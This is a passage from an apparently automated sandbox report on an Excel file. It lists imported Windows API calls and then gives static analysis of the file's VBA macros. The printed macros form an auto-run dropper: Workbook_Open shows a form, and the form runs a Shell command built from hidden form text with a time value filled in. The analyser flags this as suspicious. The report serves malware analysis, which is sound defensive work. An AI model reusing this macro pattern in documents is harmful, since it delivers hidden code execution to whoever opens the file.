  1240. "d3d10warp.dll.D3DKMTLock",
  1241. "d3d10warp.dll.D3DKMTUnlock",
  1242. "d3d10warp.dll.D3DKMTGetMultisampleMethodList",
  1243. "d3d10warp.dll.D3DKMTPresent",
  1244. "d3d10warp.dll.D3DKMTRender",
  1245. "d3d10warp.dll.D3DKMTGetSharedPrimaryHandle",
  1246. "d3d10warp.dll.D3DKMTEscape",
  1247. "d3d10warp.dll.D3DKMTSetContextSchedulingPriority",
  1248. "d3d10warp.dll.D3DKMTGetContextSchedulingPriority",
  1249. "d3d10warp.dll.D3DKMTCreateContext",
  1250. "d3d10warp.dll.D3DKMTDestroyContext",
  1251. "d3d10warp.dll.D3DKMTCreateSynchronizationObject",
  1252. "d3d10warp.dll.D3DKMTDestroySynchronizationObject",
  1253. "d3d10warp.dll.D3DKMTWaitForSynchronizationObject",
  1254. "d3d10warp.dll.D3DKMTSignalSynchronizationObject",
  1255. "d3d10warp.dll.D3DKMTSetDisplayPrivateDriverFormat",
  1256. "d3d10warp.dll.OpenAdapter10_2",
  1257. "d3d10_1core.dll.D3D10CoreRegisterLayers",
  1258. "d3d10warp.dll.#50",
  1259. "dwrite.dll.DWriteCreateFactory",
  1260. "gdi32.dll.BitBlt",
  1261. "gdi32.dll.GetClipBox",
  1262. "user32.dll.IntersectRect",
  1263. "gdi32.dll.StretchDIBits",
  1264. "riched20.dll.REExtendedRegisterClass",
  1265. "user32.dll.GetWindowLongW",
  1266. "user32.dll.SetWindowLongW",
  1267. "user32.dll.RegisterWindowMessageA",
  1268. "user32.dll.RegisterClipboardFormatW",
  1269. "user32.dll.GetDoubleClickTime",
  1270. "user32.dll.SetCaretBlinkTime",
  1271. "user32.dll.SystemParametersInfoW",
  1272. "user32.dll.GetKeyboardLayoutList",
  1273. "mso.dll._MsoGetFidUspDll@0",
  1274. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  1275. "usp10.dll.ScriptGetProperties",
  1276. "usp10.dll.ScriptItemize",
  1277. "user32.dll.LoadCursorW",
  1278. "user32.dll.IsWindowVisible",
  1279. "user32.dll.PostMessageW",
  1280. "user32.dll.DefWindowProcW",
  1281. "uxtheme.dll.IsThemeActive",
  1282. "uxtheme.dll.IsAppThemed",
  1283. "uxtheme.dll.OpenThemeData",
  1284. "user32.dll.GetClientRect",
  1285. "user32.dll.IsIconic",
  1286. "user32.dll.GetParent",
  1287. "usp10.dll.ScriptGetCMap",
  1288. "user32.dll.InvalidateRect",
  1289. "user32.dll.HideCaret",
  1290. "user32.dll.ShowCaret",
  1291. "user32.dll.IsWindowUnicode",
  1292. "user32.dll.SendMessageW",
  1293. "user32.dll.NotifyWinEvent",
  1294. "user32.dll.GetWindowTextLengthW",
  1295. "user32.dll.EnableWindow",
  1296. "msctf.dll.SetInputScope",
  1297. "user32.dll.UpdateWindow",
  1298. "user32.dll.GetWindowRgn",
  1299. "gdi32.dll.CreateCompatibleBitmap",
  1300. "gdi32.dll.SaveDC",
  1301. "gdi32.dll.SetPixel",
  1302. "gdi32.dll.GetPixel",
  1303. "gdi32.dll.RestoreDC",
  1304. "imm32.dll.ImmAssociateContext",
  1305. "user32.dll.GetForegroundWindow",
  1306. "user32.dll.EnumChildWindows",
  1307. "user32.dll.GetClassNameA",
  1308. "user32.dll.GetWindow",
  1309. "gdi32.dll.GetMapMode",
  1310. "gdi32.dll.GetWindowOrgEx",
  1311. "gdi32.dll.SetWindowOrgEx",
  1312. "user32.dll.PtInRect",
  1313. "user32.dll.GetWindowWord",
  1314. "user32.dll.InflateRect",
  1315. "mso.dll.#3925",
  1316. "user32.dll.OffsetRect",
  1317. "gdi32.dll.OffsetRgn",
  1318. "gdi32.dll.IntersectClipRect",
  1319. "gdi32.dll.GetClipRgn",
  1320. "mso.dll.#5127",
  1321. "mso.dll.#3141",
  1322. "mso.dll.#2821",
  1323. "mso.dll.#7026",
  1324. "mso.dll.#3327",
  1325. "shell32.dll.SHAddToRecentDocs",
  1326. "mso.dll.#1010",
  1327. "mso.dll.#6989",
  1328. "mso.dll.#7223",
  1329. "mso.dll.#1682",
  1330. "mso.dll.#7979",
  1331. "mso.dll.#3459",
  1332. "mso.dll.#2041",
  1333. "mso.dll.#7834",
  1334. "mso.dll.#239",
  1335. "user32.dll.GetWindowDC",
  1336. "gdi32.dll.SetLayout",
  1337. "gdi32.dll.RectVisible",
  1338. "gdi32.dll.ExcludeClipRect",
  1339. "gdi32.dll.SelectClipRgn",
  1340. "mso.dll.#1914",
  1341. "ole32.dll.PropVariantClear",
  1342. "advapi32.dll.RegDeleteKeyW",
  1343. "mso.dll.#1338",
  1344. "mso.dll.#6357",
  1345. "mso.dll.#1671",
  1346. "oleaut32.dll.#7",
  1347. "mso.dll.#8263",
  1348. "mso.dll.#9741",
  1349. "mso.dll.#8022",
  1350. "user32.dll.UnionRect",
  1351. "advapi32.dll.RegQueryValueW",
  1352. "apphelp.dll.ApphelpCheckShellObject",
  1353. "gdi32.dll.SetDIBitsToDevice",
  1354. "mso.dll.#749",
  1355. "oleaut32.dll.#12",
  1356. "mso.dll.#6336",
  1357. "mso.dll.#4791",
  1358. "mso.dll.#8085",
  1359. "ole32.dll.CoRevokeInitializeSpy",
  1360. "comctl32.dll.#388",
  1361. "webservices.dll.WsResetHeap",
  1362. "webservices.dll.WsCloseServiceProxy",
  1363. "ws2_32.dll.#3",
  1364. "webservices.dll.WsFreeServiceProxy",
  1365. "ncrypt.dll.SslDecrementProviderReferenceCount",
  1366. "ncrypt.dll.SslFreeObject",
  1367. "mso.dll.#5003",
  1368. "user32.dll.RemovePropW",
  1369. "mso.dll.#1848",
  1370. "mso.dll.#8970",
  1371. "mso.dll.#6453",
  1372. "mso.dll.#8044",
  1373. "mso.dll.#1443",
  1374. "mso.dll.#3698",
  1375. "mso.dll.#8565",
  1376. "mso.dll.#8373",
  1377. "mso.dll.#5630",
  1378. "mso.dll.#4577",
  1379. "mso.dll.#6163",
  1380. "mso.dll.#552",
  1381. "mso.dll.#8549",
  1382. "mso.dll.#2863",
  1383. "mso.dll.#8756",
  1384. "mso.dll.#2861",
  1385. "mso.dll.#9198",
  1386. "mso.dll.#4481",
  1387. "mso.dll.#1024",
  1388. "mso.dll.#7181",
  1389. "mso.dll.#791",
  1390. "mso.dll.#7173",
  1391. "mso.dll.#1420",
  1392. "mso.dll.#4631",
  1393. "mso.dll.#7001",
  1394. "mso.dll.#9213",
  1395. "mso.dll.#1380",
  1396. "user32.dll.TranslateMessage",
  1397. "mso.dll.#4731",
  1398. "user32.dll.DispatchMessageW",
  1399. "mso.dll.#6900",
  1400. "mso.dll.#6420",
  1401. "user32.dll.WindowFromPoint",
  1402. "user32.dll.SetCapture",
  1403. "user32.dll.ReleaseCapture",
  1404. "user32.dll.SetCursor",
  1405. "user32.dll.GetMessageExtraInfo",
  1406. "mso.dll.#7766",
  1407. "mso.dll.#1911",
  1408. "mso.dll.#8802",
  1409. "mso.dll.#3055",
  1410. "ole32.dll.CoCreateInstance",
  1411. "user32.dll.GetClassLongW",
  1412. "msostyle.dll.PIMEShareCreate",
  1413. "user32.dll.LoadStringA",
  1414. "mso.dll.#9500",
  1415. "user32.dll.GetKeyState",
  1416. "mso.dll.#2966",
  1417. "mso.dll.#2998",
  1418. "mso.dll.#7836",
  1419. "mso.dll.#3544",
  1420. "user32.dll.GetSystemMenu",
  1421. "mso.dll.#732",
  1422. "user32.dll.EnableMenuItem",
  1423. "mso.dll.#1575",
  1424. "user32.dll.OpenClipboard",
  1425. "user32.dll.IsClipboardFormatAvailable",
  1426. "user32.dll.CloseClipboard",
  1427. "mso.dll.#6305",
  1428. "mso.dll.#6337",
  1429. "mso.dll.#6220",
  1430. "mso.dll.#9693",
  1431. "mso.dll.#1419",
  1432. "mso.dll.#7299",
  1433. "mso.dll.#4702",
  1434. "mso.dll.#287",
  1435. "user32.dll.IsChild",
  1436. "mso.dll.#424",
  1437. "uiautomationcore.dll.UiaClientsAreListening",
  1438. "user32.dll.GetCapture",
  1439. "user32.dll.GetAsyncKeyState",
  1440. "mso.dll.#1815",
  1441. "mso.dll.#8824",
  1442. "mso.dll.#900",
  1443. "mso.dll.#6784",
  1444. "mso.dll.#4795",
  1445. "mso.dll.#5892",
  1446. "user32.dll.GetClipboardOwner",
  1447. "user32.dll.GetCursorInfo",
  1448. "user32.dll.TrackMouseEvent",
  1449. "user32.dll.GetMessagePos",
  1450. "user32.dll.ScreenToClient",
  1451. "user32.dll.IsWindowEnabled",
  1452. "user32.dll.GetDesktopWindow",
  1453. "user32.dll.FindWindowExW",
  1454. "user32.dll.SendNotifyMessageW",
  1455. "mso.dll.#6422",
  1456. "user32.dll.WaitMessage",
  1457. "advapi32.dll.NotifyServiceStatusChangeW",
  1458. "user32.dll.RegisterPowerSettingNotification",
  1459. "powrprof.dll.PowerSettingRegisterNotification",
  1460. "user32.dll.GetWindowThreadProcessId",
  1461. "advapi32.dll.RegDeleteTreeW",
  1462. "xmllite.dll.CreateXmlReader",
  1463. "advapi32.dll.CryptGenKey",
  1464. "cryptsp.dll.CryptGenKey",
  1465. "advapi32.dll.CryptImportKey",
  1466. "cryptsp.dll.CryptImportKey",
  1467. "advapi32.dll.CryptExportKey",
  1468. "cryptsp.dll.CryptExportKey",
  1469. "advapi32.dll.CryptDestroyKey",
  1470. "advapi32.dll.CryptSetHashParam",
  1471. "user32.dll.LoadImageW",
  1472. "msi.dll.#90",
  1473. "mso.dll.#8837",
  1474. "mso.dll.#1613",
  1475. "mso.dll.#9218",
  1476. "mso.dll.#1455",
  1477. "user32.dll.CreateWindowExW",
  1478. "user32.dll.EnableScrollBar",
  1479. "user32.dll.ShowScrollBar",
  1480. "user32.dll.ShowWindow",
  1481. "user32.dll.SetParent",
  1482. "user32.dll.KillTimer",
  1483. "user32.dll.SetWindowPos",
  1484. "user32.dll.MoveWindow",
  1485. "user32.dll.GetWindowRect",
  1486. "user32.dll.DestroyWindow",
  1487. "gdi32.dll.GetViewportExtEx",
  1488. "gdi32.dll.GetWindowExtEx",
  1489. "gdi32.dll.GetTextCharset",
  1490. "gdi32.dll.GetLayout",
  1491. "oleaut32.dll.SysAllocString",
  1492. "oleaut32.dll.SysStringLen",
  1493. "oleaut32.dll.SysAllocStringLen",
  1494. "oleaut32.dll.SysFreeString",
  1495. "user32.dll.SetScrollInfo",
  1496. "uxtheme.dll.GetThemePartSize",
  1497. "mso.dll.#9018",
  1498. "gdi32.dll.GdiIsMetaPrintDC",
  1499. "msimtf.dll.MsimtfIsWindowFiltered",
  1500. "user32.dll.GetMessageW",
  1501. "gdi32.dll.SetTextColor",
  1502. "gdi32.dll.SetBkMode",
  1503. "gdi32.dll.SetTextAlign",
  1504. "gdi32.dll.ExtSelectClipRgn",
  1505. "gdi32.dll.GetTextColor",
  1506. "uxtheme.dll.DrawThemeBackground",
  1507. "user32.dll.MessageBeep",
  1508. "user32.dll.CallNextHookEx",
  1509. "wininet.dll.InternetGetConnectedState",
  1510. "rasapi32.dll.RasConnectionNotificationW",
  1511. "sechost.dll.NotifyServiceStatusChangeA",
  1512. "cryptsp.dll.CryptAcquireContextW",
  1513. "gdi32.dll.GdiFlush",
  1514. "osppcext.dll.SLActivateProduct",
  1515. "osppcext.dll.SLGetTokenActivationGrants",
  1516. "osppcext.dll.SLGetTokenActivationCertificates",
  1517. "osppcext.dll.SLGenerateTokenActivationChallenge",
  1518. "osppcext.dll.SLSignTokenActivationChallenge",
  1519. "osppcext.dll.SLDepositTokenActivationResponse",
  1520. "osppcext.dll.SLFreeTokenActivationGrants",
  1521. "osppcext.dll.SLFreeTokenActivationCertificates",
  1522. "mso.dll.#8113",
  1523. "mso.dll.#2833",
  1524. "mso.dll.#6819",
  1525. "mso.dll.#831",
  1526. "mso.dll.#230",
  1527. "mso.dll.#1876",
  1528. "user32.dll.GetCursor",
  1529. "user32.dll.GetIconInfo",
  1530. "gdi32.dll.GetBitmapBits",
  1531. "mso.dll.#6205",
  1532. "mso.dll.#2417",
  1533. "gdi32.dll.CombineRgn",
  1534. "user32.dll.CopyRect",
  1535. "user32.dll.UpdateLayeredWindow",
  1536. "user32.dll.UnhookWindowsHookEx",
  1537. "mso.dll.#7531",
  1538. "oleaut32.dll.#33",
  1539. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  1540. "mso.dll.#6484",
  1541. "mso.dll.#6057",
  1542. "mso.dll.#4477",
  1543. "mso.dll.#9374",
  1544. "mso.dll.#8461",
  1545. "mso.dll.#4619",
  1546. "mso.dll.#8202",
  1547. "mso.dll.#888",
  1548. "mso.dll.#8757",
  1549. "mso.dll.#7163",
  1550. "mso.dll.#4456",
  1551. "mso.dll.#6345",
  1552. "user32.dll.RedrawWindow",
  1553. "mso.dll.#1031",
  1554. "mso.dll.#4820",
  1555. "mso.dll.#2766",
  1556. "mso.dll.#2294",
  1557. "mso.dll.#8633",
  1558. "mso.dll.#8158",
  1559. "mso.dll.#5512",
  1560. "mso.dll.#1401",
  1561. "mso.dll.#8472",
  1562. "mso.dll.#8691",
  1563. "mso.dll.#6079",
  1564. "mso.dll.#6000",
  1565. "mso.dll.#248",
  1566. "mso.dll.#9398",
  1567. "mso.dll.#1442",
  1568. "mso.dll.#4388",
  1569. "mso.dll.#5973",
  1570. "mso.dll.#8747",
  1571. "mso.dll.#420",
  1572. "mso.dll.#186",
  1573. "user32.dll.EnumThreadWindows",
  1574. "user32.dll.EnumWindows",
  1575. "user32.dll.DestroyIcon",
  1576. "mso.dll.#3209",
  1577. "mso.dll.#4083",
  1578. "mso.dll.#292",
  1579. "mso.dll.#795",
  1580. "mso.dll.#8349",
  1581. "mso.dll.#8796",
  1582. "mso.dll.#3930",
  1583. "mso.dll.#9105",
  1584. "mso.dll.#9199",
  1585. "mso.dll.#7948",
  1586. "uxtheme.dll.CloseThemeData",
  1587. "user32.dll.UnregisterClassW",
  1588. "mso.dll.#6277",
  1589. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  1590. "winsta.dll.WinStationUnRegisterConsoleNotification",
  1591. "mso.dll.#121",
  1592. "mso.dll.#884",
  1593. "user32.dll.GetWindowPlacement",
  1594. "mso.dll.#9306",
  1595. "mso.dll.#2468",
  1596. "mso.dll.#815",
  1597. "mso.dll.#6418",
  1598. "mso.dll.#4203",
  1599. "mso.dll.#4284",
  1600. "mso.dll.#2272",
  1601. "mso.dll.#4781",
  1602. "user32.dll.VkKeyScanW",
  1603. "mso.dll.#591",
  1604. "user32.dll.PostQuitMessage",
  1605. "mso.dll.#3338",
  1606. "mso.dll.#3974",
  1607. "mso.dll.#8106",
  1608. "mso.dll.#8876",
  1609. "mso.dll.#4426",
  1610. "oleaut32.dll.#34",
  1611. "mso.dll.#4210",
  1612. "mso.dll.#8316",
  1613. "mso.dll.#187",
  1614. "mso.dll.#5625",
  1615. "mso.dll.#8586",
  1616. "mso.dll.#8004",
  1617. "mso.dll.#6137",
  1618. "mso.dll.#6078",
  1619. "mso.dll.#7598",
  1620. "advapi32.dll.ConvertSidToStringSidW",
  1621. "msi.dll.DllGetVersion",
  1622. "ws2_32.dll.#116",
  1623. "user32.dll.RemoveClipboardFormatListener",
  1624. "user32.dll.UnregisterPowerSettingNotification",
  1625. "powrprof.dll.PowerSettingUnregisterNotification",
  1626. "shell32.dll.#155",
  1627. "advapi32.dll.EventUnregister",
  1628. "user32.dll.UnregisterClassA",
  1629. "gdiplus.dll.GdiplusShutdown",
  1630. "advapi32.dll.RegDeleteValueW",
  1631. "mso.dll.#2482",
  1632. "mso.dll.#5458",
  1633. "mso.dll.#786",
  1634. "advapi32.dll.UnregisterTraceGuids",
  1635. "comctl32.dll.#321"
  1636. ]
  1637.  
  1638. [*] Static Analysis: {
  1639. "office": {
  1640. "Macro": {
  1641. "Code": {
  1642. "Macro2": [
  1643. [
  1644. "App1.frm",
  1645. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n\n"
  1646. ]
  1647. ],
  1648. "Macro1": [
  1649. [
  1650. "\\xdd\\xf2\\xe0\\xca\\xed\\xe8\\xe3\\xe0.cls",
  1651. "Sub WorkBook_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  1652. ]
  1653. ]
  1654. },
  1655. "Analysis": {
  1656. "Suspicious": [
  1657. [
  1658. "CallByName",
  1659. "May attempt to obfuscate malicious function calls"
  1660. ],
  1661. [
  1662. "Shell",
  1663. "May run an executable file or a system command"
  1664. ]
  1665. ],
  1666. "AutoExec": [
  1667. [
  1668. "Workbook_Open",
  1669. "Runs when the Excel Workbook is opened"
  1670. ]
  1671. ]
  1672. }
  1673. },
  1674. "Metadata": {
  1675. "SummaryInformation": {
  1676. "num_words": "None",
  1677. "num_pages": "None",
  1678. "last_saved_by": "alex",
  1679. "creating_application": "Microsoft Excel",
  1680. "author": "Microsoft Office",
  1681. "revision_number": "None",
  1682. "codepage": "1251",
  1683. "title": "None",
  1684. "comments": "None",
  1685. "num_chars": "None",
  1686. "total_edit_time": "None",
  1687. "create_time": "None",
  1688. "template": "None",
  1689. "last_printed": "None",
  1690. "keywords": "None",
  1691. "security": "0",
  1692. "last_saved_time": "None",
  1693. "thumbnail": "None",
  1694. "subject": "None"
  1695. },
  1696. "DocumentSummaryInformation": {
  1697. "codepage_doc": "1251",
  1698. "chars_with_spaces": "None",
  1699. "shared_doc": "False",
  1700. "paragraphs": "None",
  1701. "hidden_slides": "None",
  1702. "mm_clips": "None",
  1703. "category": "None",
  1704. "presentation_target": "None",
  1705. "hlinks_changed": "False",
  1706. "scale_crop": "False",
  1707. "version": "1048576",
  1708. "hlinks": "None",
  1709. "link_base": "None",
  1710. "company": "Microsoft Corporation",
  1711. "unused": "None",
  1712. "dig_sig": "8\\x17\\x00\\x00\\x08\\x00\\x00\\x00\\xf6\\x0f\\x00\\x00,\\x00\\x00\\x00\\x17\\x07\\x00\\x00\"\\x10\\x00\\x00\\x00\\x00\\x00\\x009\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x17\\x00\\x000\\x82\\x0f\\xf2\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x07\\x02\\xa0\\x82\\x0f\\xe30\\x82\\x0f\\xdf\\x02\\x01\\x011\\x0e0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x000R\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x04\\xa0D0B0\\x1e\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x1d\\x04\\x10(\\xaf&\\x08\\xc3F\\x82\\xb1\\xc4:\\x03!zaO\\x000 0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\x04\\x10\\xb5\\xdb\\x88\\xfa[7\\xa7\\xe2$\\xad\\xe8*\\xac3\\xbb\\xc9\\xa0\\x82\rt0\\x82\\x04 0\\x82\\x03\\x08\\xa0\\x03\\x02\\x01\\x02\\x02\\x104N\\xd5W \\xd5\\xed\\xecI\\xf4/\\xce7\\xdb+m0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r061117000000Z\\x17\r360716235959Z0\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xac\\xa0\\xf0\\xfb\\x80Y\\xd4\\x9c\\xc7\\xa4\\xcf\\x9d\\xa1Ys\t\\x10E\\x0c\r,nh\\xf1l[HhIY7\\xfc\\x0b3\\x19\\xc2w\\x7f\\xcc\\x10-\\x954\\x1c\\xe6\\xebM\t\\xa7\\x1c\\xd2\\xb8\\xc9\\x976\\x02\\xb7\\x89\\xd4$_\\x06\\xc0\\xccD\\x94\\x94\\x8d\\x02bo\\xebZ\\xdd\\x11\\x8d(\\x9a\\\\x84\\x90\\x10z\r\\xbdtf/j8\\xa0\\xe2\\xd5TD\\xeb\\x1d\\x07\\x9f\\x07\\xbao\\xee\\xe9\\xfdN\\x0b)\\xf5>\\x84\\xa0\\x01\\xf1\\x9c\\xab\\xf8\\x1c~\\x89\\xa4\\xe8\\xa1\\xd8qe\r\\xa3Q{\\xee\\xbc\\xd2\"`\r\\xb9[\\x9d\\xdf\\xba\\xfcQ[\\x0b\\xaf\\x98\\xb2\\xe9.\\xe9\\x04\\xe8b\\x87\\xde+\\xc8\\xd7N\\xc1Ld\\x1e\\xdd\\xcf\\x87X\\xbaJO\\xcah\\x07\\x1d\\x1c\\x9dJ\\xc6\\xd5/\\x91\\xcc|qr\\x1c\\xc5\\xc0g\\xeb2\\xfd\\xc9\\x92\\\\x94\\xda\\x85\\xc0\\x9b\\xbfS}+\t\\xf4\\x8c\\x9d\\x91\\x1f\\x97jR\\xcb\\xde\t6\\xa4w\\xd8{\\x87PD\\xd5>n)i\\xfb9I&\\x1e\t\\xa5\\x80{@-\\xeb\\xe8'\\x85\\xc9\\xfea\\xfd~\\xe6|\\x97\\x1d\\xd5\\x9d\\x02\\x03\\x01\\x00\\x01\\xa3B0@0\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x00\\x03\\x82\\x01\\x01\\x00y\\x11\\xc0K\\xb3\\x91\\xb6\\xfc\\xf0\\xe9g\\xd4\rnE\\xbeU\\xe8\\x93\\xd2\\xce\\x03?\\xed\\xda%\\xb0\\x1dW\\xcb\\x1e:v\\xa0L\\xecPv\\xe8dr\\x0c\\xa4\\xa9\\xf1\\xb8\\x8b\\xd6\\xd6\\x87\\x84\\xbb2\\xe5A\\x11\\xc0w\\xd9\\xb3`\\x9d\\xeb\\x1b\\xd5\\xd1nDD\\xa9\\xa6\\x01\\xecUb\\x1dw\\xb8\\\\x8eHI|\\x9c;W\\x11\\xac\\xads7\\x8e/x\\\\x90hG\\xd9``\\xe6\\xfc\\x07=\" \\x17\\xc4\\xf7\\x16\\xe9\\xc4\\xd8r\\xf9\\xc8s|\\xdf\\x16/\\x15\\xa9>\\xfdj'\\xb6\\xa1\\xebZ\\xba\\x98\\x1f\\xd5\\xe3Md\n\\x9d\\x13\\xc8a\\xba\\xf59\\x1c\\x87\\xba\\xb8\\xbd{\"\\x7f\\xf6\\xfe\\xac@y\\xe5\\xac\\x10o=\\x8f\\x1byv\\x8b\\xc47\\xb3!\\x18\\x84\\xe56\\x00\\xebc \\x99\\xb9\\xe9\\xfe3\\x04\\xbbA\\xc8\\xc1\\x02\\xf9Dc \\x9e\\x81\\xceB\\xd3\\xd6?,v\\xd3c\\x9cY\\xdd\\x8f\\xa6\\xe1\\x0e\\xa0.A\\xf7.\\x95G\\xcf\\xbc\\xfd3\\xf3\\xf6\\x0ba~~\\x91+\\x81G\\xc2'0\\xee\\xa7\\x10]7\\x8f\\9+\\xe4\\x04\\xf0{\\x8dV\\x8ch0\\x82\\x04\\x990\\x82\\x03\\x81\\xa0\\x03\\x02\\x01\\x02\\x02\\x10q\\xa0\\xb76\\x95\\xdd\\xb1\\xaf\\xc2;+\\x9a\\x18\\xeeT\\xcb0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r131210000000Z\\x17\r231209235959Z0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\x9bU\\x02L\\x17\\x05\\xe9\\xd0f\\xc3\\xfc(\\xad\\xd3\\xc0\\xfe\\xef\\xe0\\xe9~\\xd4\\x1e\\xf6\\xaa\\x1b\\x91F\\xfd\\xf5\\x16\\xed\\x98\\x07S\\xfa\\xba\\x87\\x1b}\\x9e\\x1f\\x01'\\xab\\xb9\\xd2g\\xca\\xb7\\x10%S\\xf4\\xe3\\xbe\\x9b\\x90\\xb8\\xed#\\B\\xefd%X\\xe5\\x88\"\\x1a\\xbe\\xf5\\xc7\\xae\\xf5\\xbe\\x8a\\xb1\\x11\\x11\\x93\\x1a\"\\xa9ti\\xc1t\\xb6h\\x87\\xa7\\x830\\xf9d\\xf1\\xb1\\xe38>\\xf4\\xd6\\xc1\\xfc\\x12\\xfesW\\x175W\\x8a\\xddP\\x8d\\x03\\xf8f\\xcd\\xcav\\x83\\x13\\xc8\\xd7\\x0eq\\x1d\\xe4c\\xc9\\xba\\x17\\xf8\\xd1\\xb9\\xe4\\x88\\xd2,(\\xc8! \rA\\xb7\\x0b\\xe2/\\xc2\\x80\\xe6\\x88{Sl\\xc3Dc\\x81\\x7fhG\\x8c+*\\xcf[\\xf4\\x8cIa\\xbai\\x85\\xfdk\\x00x\\x05&i\\x130\\x808N\\xf1ZU\\xc9\\xc5P\\xd6\\xaa8\\x89GC\\\\xfeMs\\xa5I\\xc5\\x93i\\xfew\\x96\\x9a\\xaf\\xf3\\x8c\\x0eW\\xba3\\xd9\\x0e\\xc6B\\xd3\\x03w\\xc4\\xbb9\\xad\\x91\\xf9\\xf3\\xf7\\x96\\:d\\xa6\\xed'W\\xc1\\xe8@\\xf3S\\xf2\\xbe)4\\xfe_\\xf9\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01\\x170\\x82\\x01\\x130/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04#0!0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://t2.symcb.com0\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x0002\\x06\\x03U\\x1d\\x1f\\x04+0)0'\\xa0%\\xa0#\\x86!http://t1.symcb.com/ThawtePCA.crl0\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x02\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060)\\x06\\x03U\\x1d\\x11\\x04\"0 \\xa4\\x1e0\\x1c1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x13\\x11SymantecPKI-1-5680\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00$;\\xf5\\xd7\\xa06\\x13\\xc7C\\xfe\\xf0\t\\x87h\\xd1\\x981n\\x12\\xe4?\\x1e\\x1f\\x96{kL\\x1e\\x87\\x9e\\x8b\\xc5l\\xa3\\xb1\\x0c{P\\x92\\xd5\\x81\\x9c\\xb1\\x8f,)\\xb7\\xee\\xf9\\x91\\x05\\xb9\\x8eA\\xf1,\\xf6\\xd0Y-\\x98\\xe0\\xb9\\xea\\x80\\x01G@\\x95\\xb8=\\x9d\\x03\\xbdy\\xbb5\\xb6\\xad\\x9cL'\\xf6gE\\x10\\xc9\\xc5\\xbc\\x87NU{\\xd2\\x87\\xbb\\xdd\\xdc0\\xef\\xc6\\xd4l\\xcc\\x995m\\x1c\\xe0`\\xd3\\xcdh\